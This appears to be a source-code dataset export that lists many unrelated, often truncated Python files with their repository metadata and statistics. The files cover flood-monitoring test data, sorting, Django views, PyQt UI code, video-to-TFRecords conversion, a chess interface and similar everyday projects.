can either be a 2D numpy array of floats or the path to a CSV file containing ... | 41.837209 | 139 | 0.63313 | 495 | 3,598 | 4.50303 | 0.329293 | 0.037685 | 0.035891 | 0.017497 | 0.093764 | 0.058771 | 0.030507 | 0.030507 | 0 | 0 | 0 | 0.003569 | 0.299055 | 3,598 | 85 | 140 | 42.329412 | 0.880254 | 0.469427 | 0 | 0 | 0 | 0 | 0.028393 | 0 | 0 | 0 | 0 | 0.011765 | 0 | 1 | 0.081081 | false | 0 | 0.081081 | 0 | 0.216216 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9b3a3bce09af7b3cc495df924b1083c5046bc338 | 1,763 | py | Python | testingData.py | cued-ia-computing/flood-jdv24-ahw41 | b8d62b33281dfb01aec569998b88769ca6d06556 | [
"MIT"
] | null | null | null | testingData.py | cued-ia-computing/flood-jdv24-ahw41 | b8d62b33281dfb01aec569998b88769ca6d06556 | [
"MIT"
] | null | null | null | testingData.py | cued-ia-computing/flood-jdv24-ahw41 | b8d62b33281dfb01aec569998b88769ca6d06556 | [
"MIT"
] | null | null | null | from floodsystem.station import MonitoringStation
def getFakeData():
stations = []
RoanokeRiver = MonitoringStation(station_id="station_id", measure_id="measure_id", label="Smith Park",
coord=(37.2574, -79.9544), typical_range=(1, 2),
... | 43 | 116 | 0.58253 | 180 | 1,763 | 5.566667 | 0.377778 | 0.08982 | 0.10978 | 0.164671 | 0.369261 | 0.343313 | 0.289421 | 0.289421 | 0.289421 | 0.289421 | 0 | 0.053772 | 0.29325 | 1,763 | 40 | 117 | 44.075 | 0.750401 | 0 | 0 | 0.125 | 0 | 0 | 0.167181 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.041667 | false | 0 | 0.041667 | 0 | 0.125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9b3a5be8c47343cfaa60964c4a36f3a14a062e0f | 613 | py | Python | python/lomuto_quicksort.py | Ankancode123/AlgoBook | db7d9264bef912c902a8c1e24702386e058bad8f | [
"MIT"
] | null | null | null | python/lomuto_quicksort.py | Ankancode123/AlgoBook | db7d9264bef912c902a8c1e24702386e058bad8f | [
"MIT"
] | null | null | null | python/lomuto_quicksort.py | Ankancode123/AlgoBook | db7d9264bef912c902a8c1e24702386e058bad8f | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""Untitled1.ipynb
Automatically generated by Colaboratory.
Original file is located at
https://colab.research.google.com/drive/1W2P2nxzaV_t_ePeJDnZMmbLkhvRxqZaF
"""
#used for quick sort algo
#pivot is taken as last element
def lomutoPartition(arr,l,h):
pivot=arr[h]
i=l-1
for j in r... | 19.15625 | 77 | 0.649266 | 120 | 613 | 3.3 | 0.466667 | 0.030303 | 0.050505 | 0.10101 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.045098 | 0.168026 | 613 | 32 | 78 | 19.15625 | 0.731373 | 0.40783 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0 | 0 | 0.166667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9b437fbf62685c599cf888d024176b740d029777 | 1,173 | py | Python | ajax/views.py | xkdcc/django101 | 905aada3cc3074984171e2ee624a70ddc62073a6 | [
"MIT"
] | null | null | null | ajax/views.py | xkdcc/django101 | 905aada3cc3074984171e2ee624a70ddc62073a6 | [
"MIT"
] | 4 | 2021-04-08T21:00:55.000Z | 2022-02-10T08:06:47.000Z | ajax/views.py | xkdcc/Django101 | 905aada3cc3074984171e2ee624a70ddc62073a6 | [
"MIT"
] | null | null | null | from django.shortcuts import render
from django.http import Http404, HttpResponse, JsonResponse
import json
# Create your views here.
def home(request):
return demo_ajax_v1_addition(request)
def demo_ajax_v1_addition(request):
if request.method == 'POST':
addend1 = int(request.POST['v1_addend1'])
... | 29.325 | 82 | 0.674339 | 146 | 1,173 | 5.267123 | 0.383562 | 0.041612 | 0.072822 | 0.089727 | 0.301691 | 0.163849 | 0.122237 | 0.122237 | 0.122237 | 0.122237 | 0 | 0.027233 | 0.217391 | 1,173 | 39 | 83 | 30.076923 | 0.810458 | 0.165388 | 0 | 0.208333 | 0 | 0 | 0.102775 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.125 | 0.083333 | 0.541667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
9b56a0191cd1edaa126cdfe6b434395190ba0a3d | 1,475 | py | Python | ibclient/utils/payload.py | chrjxj/ibclient | c1a4c82e1f0d7f65eb649869ecd1082d50117eb7 | [
"BSD-2-Clause"
] | 1 | 2021-12-15T09:28:16.000Z | 2021-12-15T09:28:16.000Z | ibclient/utils/payload.py | chrjxj/ibclient | c1a4c82e1f0d7f65eb649869ecd1082d50117eb7 | [
"BSD-2-Clause"
] | null | null | null | ibclient/utils/payload.py | chrjxj/ibclient | c1a4c82e1f0d7f65eb649869ecd1082d50117eb7 | [
"BSD-2-Clause"
] | 3 | 2020-05-19T19:28:55.000Z | 2021-05-18T12:06:08.000Z | # coding=utf-8
'''
Define common used variables and functions
Created on 10/18/2016
@author: Jin Xu
@contact: jin_xu1@qq.com
'''
from __future__ import absolute_import
from __future__ import print_function
from __future__ import division
from threading import Event
class RequestDetails():
def __init__(self, req_... | 34.302326 | 69 | 0.560678 | 161 | 1,475 | 4.89441 | 0.559006 | 0.038071 | 0.060914 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.030769 | 0.338983 | 1,475 | 42 | 70 | 35.119048 | 0.77641 | 0.128814 | 0 | 0 | 0 | 0 | 0.107481 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.142857 | null | null | 0.035714 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9b679b8bcacafcdc87dc71179b9a7c22b8366ffc | 1,490 | py | Python | setup.py | amcintosh/statsdecor | 72ce8520699d8026f2e43e25e8a8a3232e703cb3 | [
"MIT"
] | null | null | null | setup.py | amcintosh/statsdecor | 72ce8520699d8026f2e43e25e8a8a3232e703cb3 | [
"MIT"
] | null | null | null | setup.py | amcintosh/statsdecor | 72ce8520699d8026f2e43e25e8a8a3232e703cb3 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
try:
from setuptools import setup, find_packages
except ImportError:
from distutils.core import setup, find_packages
readme = open('README.md').read()
requirements = open('requirements.txt').readlines()
VERSION = open('VERSION').read().strip()
setup(
name='... | 31.702128 | 61 | 0.637584 | 160 | 1,490 | 5.85625 | 0.59375 | 0.16222 | 0.213447 | 0.138741 | 0.057631 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013769 | 0.220134 | 1,490 | 46 | 62 | 32.391304 | 0.792599 | 0.028188 | 0 | 0 | 0 | 0 | 0.462656 | 0.017289 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.076923 | 0 | 0.076923 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9b6d8b7c0f4ea983257c66b03f5c6f37617d59d6 | 3,566 | py | Python | robotGUI.py | kbrewerphd/robotSim | 79ac56dff753842e712e3591d89fcee19579151b | [
"MIT"
] | null | null | null | robotGUI.py | kbrewerphd/robotSim | 79ac56dff753842e712e3591d89fcee19579151b | [
"MIT"
] | null | null | null | robotGUI.py | kbrewerphd/robotSim | 79ac56dff753842e712e3591d89fcee19579151b | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'robotGUI.ui'
#
# Created by: PyQt5 UI code generator 5.9.2
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
import myFrame as mf
class Ui_MainWindow(object):
def setupUi(... | 45.717949 | 84 | 0.68452 | 358 | 3,566 | 6.801676 | 0.349162 | 0.076797 | 0.077618 | 0.050924 | 0.055031 | 0.021355 | 0 | 0 | 0 | 0 | 0 | 0.023675 | 0.206394 | 3,566 | 77 | 85 | 46.311688 | 0.836749 | 0.064498 | 0 | 0 | 1 | 0 | 0.066154 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.031746 | false | 0 | 0.031746 | 0 | 0.079365 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9b80a3a805cf56ca88e1a38acf1516a28779c834 | 475 | py | Python | cpovc_forms/migrations/0003_alter_ovchivmanagement_substitution_firstline_date.py | Amos-Ditto/cpims-ovc-3.0 | 917febd9cd64a8da7cf54d2065cc1d27389c02e2 | [
"Apache-2.0"
] | null | null | null | cpovc_forms/migrations/0003_alter_ovchivmanagement_substitution_firstline_date.py | Amos-Ditto/cpims-ovc-3.0 | 917febd9cd64a8da7cf54d2065cc1d27389c02e2 | [
"Apache-2.0"
] | null | null | null | cpovc_forms/migrations/0003_alter_ovchivmanagement_substitution_firstline_date.py | Amos-Ditto/cpims-ovc-3.0 | 917febd9cd64a8da7cf54d2065cc1d27389c02e2 | [
"Apache-2.0"
] | null | null | null | # Generated by Django 4.0.2 on 2022-03-26 14:52
import datetime
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('cpovc_forms', '0002_initial'),
]
operations = [
migrations.AlterField(
model_name='ovchivmanagement',
... | 23.75 | 99 | 0.637895 | 52 | 475 | 5.730769 | 0.769231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.106742 | 0.250526 | 475 | 19 | 100 | 25 | 0.730337 | 0.094737 | 0 | 0 | 1 | 0 | 0.154206 | 0.063084 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.153846 | 0 | 0.384615 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9b85ec4acc35ae53e253ca2db546bcc89becd435 | 865 | py | Python | config.py | plyq/plyq-binance-telegram-connector | 8e4cf5964d7db7f7c901202d725ac34f52a09376 | [
"MIT"
] | null | null | null | config.py | plyq/plyq-binance-telegram-connector | 8e4cf5964d7db7f7c901202d725ac34f52a09376 | [
"MIT"
] | 10 | 2021-11-13T19:57:23.000Z | 2021-11-14T18:02:28.000Z | config.py | plyq/plyq-binance-telegram-connector | 8e4cf5964d7db7f7c901202d725ac34f52a09376 | [
"MIT"
] | null | null | null | import os
from typing import Type
class Config(object):
# Flask.
DEBUG = True
FLASK_ENV = os.getenv("FLASK_ENV", "DEBUG")
# Telegram.
TELEGRAM_TOKEN = ""
class ProductionConfig(Config):
DEBUG = False
# Telegram.
TELEGRAM_TOKEN = os.getenv("TELEGRAM_TOKEN", "")
class DebugConfig(Con... | 21.625 | 78 | 0.657803 | 97 | 865 | 5.680412 | 0.329897 | 0.165154 | 0.15245 | 0.125227 | 0.297641 | 0.297641 | 0.297641 | 0.221416 | 0.221416 | 0.221416 | 0 | 0 | 0.228902 | 865 | 39 | 79 | 22.179487 | 0.826087 | 0.053179 | 0 | 0.208333 | 0 | 0 | 0.124231 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.041667 | false | 0 | 0.083333 | 0 | 0.791667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
9b8b566554bf804b3ab8839e588e6abe2186b418 | 1,971 | py | Python | som_submit.py | MHarland/som_hlrn_submission_scripts | a5cbfd4f94f5679f2e81fcacc565a7391c038c82 | [
"MIT"
] | null | null | null | som_submit.py | MHarland/som_hlrn_submission_scripts | a5cbfd4f94f5679f2e81fcacc565a7391c038c82 | [
"MIT"
] | null | null | null | som_submit.py | MHarland/som_hlrn_submission_scripts | a5cbfd4f94f5679f2e81fcacc565a7391c038c82 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import subprocess, sys, os, itertools, numpy as np
pars = [{'prototype_files': ['som_prototype.py','som_prototype_hlrn.sh'],
'commands': [['chmod +x'], ['chmod +x', 'msub']],
'target_files': [],
# target_file scope:
'cwd': os.getcwd(),
'accountname': ... | 37.903846 | 113 | 0.513445 | 254 | 1,971 | 3.866142 | 0.385827 | 0.049898 | 0.03055 | 0.02444 | 0.05499 | 0 | 0 | 0 | 0 | 0 | 0 | 0.038184 | 0.295789 | 1,971 | 51 | 114 | 38.647059 | 0.669308 | 0.046677 | 0 | 0.044444 | 0 | 0 | 0.201067 | 0.0112 | 0 | 0 | 0 | 0 | 0.022222 | 0 | null | null | 0 | 0.022222 | null | null | 0.022222 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9b90f5931aa1cf5fe59ad40e0d6bc3289a0d5ff0 | 3,188 | py | Python | research/cv/delf/src/box_list_np.py | mindspore-ai/models | 9127b128e2961fd698977e918861dadfad00a44c | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | research/cv/delf/src/box_list_np.py | mindspore-ai/models | 9127b128e2961fd698977e918861dadfad00a44c | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | research/cv/delf/src/box_list_np.py | mindspore-ai/models | 9127b128e2961fd698977e918861dadfad00a44c | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 32.865979 | 85 | 0.608532 | 411 | 3,188 | 4.678832 | 0.36983 | 0.029121 | 0.021841 | 0.016641 | 0.072803 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008787 | 0.286073 | 3,188 | 96 | 86 | 33.208333 | 0.836116 | 0.575596 | 0 | 0 | 0 | 0 | 0.10892 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.32 | false | 0 | 0.04 | 0.04 | 0.64 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9b95f54b23b98d35dfeb659c2614d851edbe0595 | 728 | py | Python | 463-Island-Perimeter/solution.py | alfmunny/leetcode | e35d2164c7e6e66410309fe1667ceab5a7689bef | [
"MIT"
] | null | null | null | 463-Island-Perimeter/solution.py | alfmunny/leetcode | e35d2164c7e6e66410309fe1667ceab5a7689bef | [
"MIT"
] | null | null | null | 463-Island-Perimeter/solution.py | alfmunny/leetcode | e35d2164c7e6e66410309fe1667ceab5a7689bef | [
"MIT"
] | null | null | null | class Solution:
def islandPerimeter(self, grid: List[List[int]]) -> int:
if not grid or not grid[0]:
return 0
for i in range(len(grid)):
for j in range(len(grid[0])):
if grid[i][j]:
return self.dfs(grid, i, j)
return 0
def dfs... | 28 | 70 | 0.42033 | 110 | 728 | 2.781818 | 0.2 | 0.163399 | 0.156863 | 0.196078 | 0.388889 | 0.183007 | 0.183007 | 0.183007 | 0.183007 | 0.183007 | 0 | 0.03912 | 0.438187 | 728 | 25 | 71 | 29.12 | 0.709046 | 0 | 0 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.095238 | false | 0 | 0 | 0 | 0.47619 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9b96db115ca70f98426516f9b966c51dd81988e3 | 649 | py | Python | label_studio/ml/utils.py | gauthamsuresh09/label-studio | ddb77375b59efdf0b3bde4145d332d81151289e7 | [
"Apache-2.0"
] | null | null | null | label_studio/ml/utils.py | gauthamsuresh09/label-studio | ddb77375b59efdf0b3bde4145d332d81151289e7 | [
"Apache-2.0"
] | 6 | 2021-03-01T21:10:19.000Z | 2022-02-26T01:54:13.000Z | label_studio/ml/utils.py | gauthamsuresh09/label-studio | ddb77375b59efdf0b3bde4145d332d81151289e7 | [
"Apache-2.0"
] | 1 | 2020-06-18T18:38:38.000Z | 2020-06-18T18:38:38.000Z | import importlib
import importlib.util
import inspect
import os
import sys
from .model import LabelStudioMLBase
def get_all_classes_inherited_LabelStudioMLBase(script_file):
names = []
abs_path = os.path.abspath(script_file)
module_name = os.path.splitext(os.path.basename(script_file))[0]
sys.path.ap... | 29.5 | 68 | 0.724191 | 82 | 649 | 5.536585 | 0.45122 | 0.052863 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001894 | 0.186441 | 649 | 22 | 69 | 29.5 | 0.857955 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.052632 | false | 0 | 0.368421 | 0 | 0.473684 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
9b9c3b9e306f6572029106c4b211fb69dc8f03e5 | 11,272 | py | Python | data_prep/avi2tfrecords.py | jonasrothfuss/DeepEpisodicMemory | 1095315a5d75a4840ef4017af70432e2dd535e4c | [
"MIT"
] | 13 | 2017-02-03T17:17:04.000Z | 2021-01-27T09:29:53.000Z | data_prep/avi2tfrecords.py | jonasrothfuss/DeepEpisodicMemory | 1095315a5d75a4840ef4017af70432e2dd535e4c | [
"MIT"
] | 1 | 2019-01-07T23:53:51.000Z | 2019-01-07T23:53:51.000Z | data_prep/avi2tfrecords.py | jonasrothfuss/DeepEpisodicMemory | 1095315a5d75a4840ef4017af70432e2dd535e4c | [
"MIT"
] | 8 | 2017-02-03T17:17:41.000Z | 2021-01-13T10:53:39.000Z | """Easily convert RGB video data (e.g. .avi) to the TensorFlow tfrecords file format with the provided 3 color channels.
Allows to subsequently train a neural network in TensorFlow with the generated tfrecords.
Due to common hardware/GPU RAM limitations, this implementation allows to limit the number of frames per
v... | 38.210169 | 145 | 0.680447 | 1,542 | 11,272 | 4.791829 | 0.236057 | 0.03424 | 0.02815 | 0.017052 | 0.121126 | 0.092976 | 0.080525 | 0.028691 | 0.028691 | 0.01597 | 0 | 0.013815 | 0.229418 | 11,272 | 294 | 146 | 38.340136 | 0.836864 | 0.249024 | 0 | 0.156757 | 1 | 0 | 0.094761 | 0.002864 | 0.005405 | 0 | 0 | 0 | 0.027027 | 1 | 0.059459 | false | 0 | 0.054054 | 0.010811 | 0.156757 | 0.037838 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9ba4e186bca0b329cc2f8aeccd0fb27156f12a48 | 2,268 | py | Python | LeafSpine.py | YungTimAllen/NetworkxLeafSpineGen | 6d46abcad2bbbd300847895dfb3061dc7a7f694d | [
"MIT"
] | null | null | null | LeafSpine.py | YungTimAllen/NetworkxLeafSpineGen | 6d46abcad2bbbd300847895dfb3061dc7a7f694d | [
"MIT"
] | null | null | null | LeafSpine.py | YungTimAllen/NetworkxLeafSpineGen | 6d46abcad2bbbd300847895dfb3061dc7a7f694d | [
"MIT"
] | null | null | null | import networkx as nx
import matplotlib.pyplot as plt
class LeafSpine:
def __init__(self, n: int, m: int):
self.nx_g = nx.Graph()
self.build_leaf_spine_nx(n, m)
def build_leaf_spine_nx(self, n: int, m: int):
self.nx_g.add_edges_from(
[
(leaf_node, spine_nod... | 28.35 | 64 | 0.574515 | 356 | 2,268 | 3.382022 | 0.154494 | 0.069767 | 0.075581 | 0.05814 | 0.564784 | 0.478405 | 0.452658 | 0.392027 | 0.332226 | 0.29402 | 0 | 0 | 0.310406 | 2,268 | 79 | 65 | 28.708861 | 0.769821 | 0 | 0 | 0.285714 | 0 | 0 | 0.051146 | 0.042769 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.031746 | 0.095238 | 0.444444 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9ba74bd9641805757ac91e3a557e5c2b6b98c787 | 2,000 | py | Python | clarity/uci.py | seungjaeryanlee/clarity | 93ea38e125d8a7761625ef75bfe4c2b6485bb065 | [
"Apache-2.0"
] | null | null | null | clarity/uci.py | seungjaeryanlee/clarity | 93ea38e125d8a7761625ef75bfe4c2b6485bb065 | [
"Apache-2.0"
] | null | null | null | clarity/uci.py | seungjaeryanlee/clarity | 93ea38e125d8a7761625ef75bfe4c2b6485bb065 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python3
"""
This script runs Clarity Chess in UCI (Universal Chess Interface) mode.
"""
import sys
from .Board import Board
from .Move import Move
from .MoveType import MoveType
from .recursion import negamax
from .Sq import Sq
def detect_move_type(board, init_sq, dest_sq):
"""
Parameters
... | 25.316456 | 74 | 0.558 | 254 | 2,000 | 4.267717 | 0.401575 | 0.03321 | 0.027675 | 0.03321 | 0.201107 | 0.201107 | 0.164207 | 0.164207 | 0.107011 | 0.107011 | 0 | 0.009811 | 0.3375 | 2,000 | 78 | 75 | 25.641026 | 0.808302 | 0.283 | 0 | 0 | 0 | 0 | 0.080921 | 0 | 0 | 0 | 0 | 0.012821 | 0 | 1 | 0.052632 | false | 0 | 0.157895 | 0 | 0.263158 | 0.131579 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9ba76c2814f9cd09046320ba17059be0d6510d6d | 3,322 | py | Python | ui/camera.py | helderdaniel/sse | 147211483aea5f5042975a36d37522e960a86494 | [
"MIT"
] | null | null | null | ui/camera.py | helderdaniel/sse | 147211483aea5f5042975a36d37522e960a86494 | [
"MIT"
] | null | null | null | ui/camera.py | helderdaniel/sse | 147211483aea5f5042975a36d37522e960a86494 | [
"MIT"
] | null | null | null | from __future__ import annotations
from typing import List, Tuple, Optional
import pygame
from pygame import Surface
from sse.engine.stage import Stage
from sse.engine.imoveable import IMoveable
#TODO: Camera controller
#A role can descende form a position Controller ??
class Camera(IMoveable):
"""
Camera to... | 36.108696 | 83 | 0.608067 | 431 | 3,322 | 4.638051 | 0.417633 | 0.032516 | 0.021011 | 0.027014 | 0.017009 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003958 | 0.315473 | 3,322 | 92 | 84 | 36.108696 | 0.87511 | 0.189344 | 0 | 0.058824 | 0 | 0 | 0.006012 | 0 | 0 | 0 | 0 | 0.01087 | 0 | 1 | 0.176471 | false | 0.029412 | 0.176471 | 0.029412 | 0.411765 | 0.029412 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9baaa05afd6370b573c51cbd3361f6c48acc4531 | 255 | py | Python | calculation/urls.py | CriminalProject/Project2 | 622b35ecebdb391b292277482a7f0d57ff4ad887 | [
"Unlicense"
] | 1 | 2019-03-17T14:03:34.000Z | 2019-03-17T14:03:34.000Z | calculation/urls.py | CriminalProject/Project2 | 622b35ecebdb391b292277482a7f0d57ff4ad887 | [
"Unlicense"
] | null | null | null | calculation/urls.py | CriminalProject/Project2 | 622b35ecebdb391b292277482a7f0d57ff4ad887 | [
"Unlicense"
] | null | null | null | from django.conf.urls import url
from . import views
urlpatterns = [
url(r'^weather$', views.setWeather, name='setWeather'),
url(r'^getRecords$', views.serviceRecord, name='getRecords'),
url(r'^statistics$', views.statistics, name='statistics'),
] | 31.875 | 62 | 0.713725 | 31 | 255 | 5.870968 | 0.483871 | 0.065934 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.109804 | 255 | 8 | 63 | 31.875 | 0.801762 | 0 | 0 | 0 | 0 | 0 | 0.253012 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.285714 | 0 | 0.285714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9bb6aadcd22ab41b588a84d50a83976d1068edb3 | 6,019 | py | Python | library/oci_dynamic_group_facts.py | AndreyAdnreyev/oci-ansible-modules | accd6e482ff1e8c2ddd6e85958dfe12cd6114383 | [
"Apache-2.0"
] | null | null | null | library/oci_dynamic_group_facts.py | AndreyAdnreyev/oci-ansible-modules | accd6e482ff1e8c2ddd6e85958dfe12cd6114383 | [
"Apache-2.0"
] | null | null | null | library/oci_dynamic_group_facts.py | AndreyAdnreyev/oci-ansible-modules | accd6e482ff1e8c2ddd6e85958dfe12cd6114383 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python
# Copyright (c) 2018, Oracle and/or its affiliates.
# This software is made available to you under the terms of the GPL 3.0 license or the Apache 2.0 license.
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
# Apache License v2.0
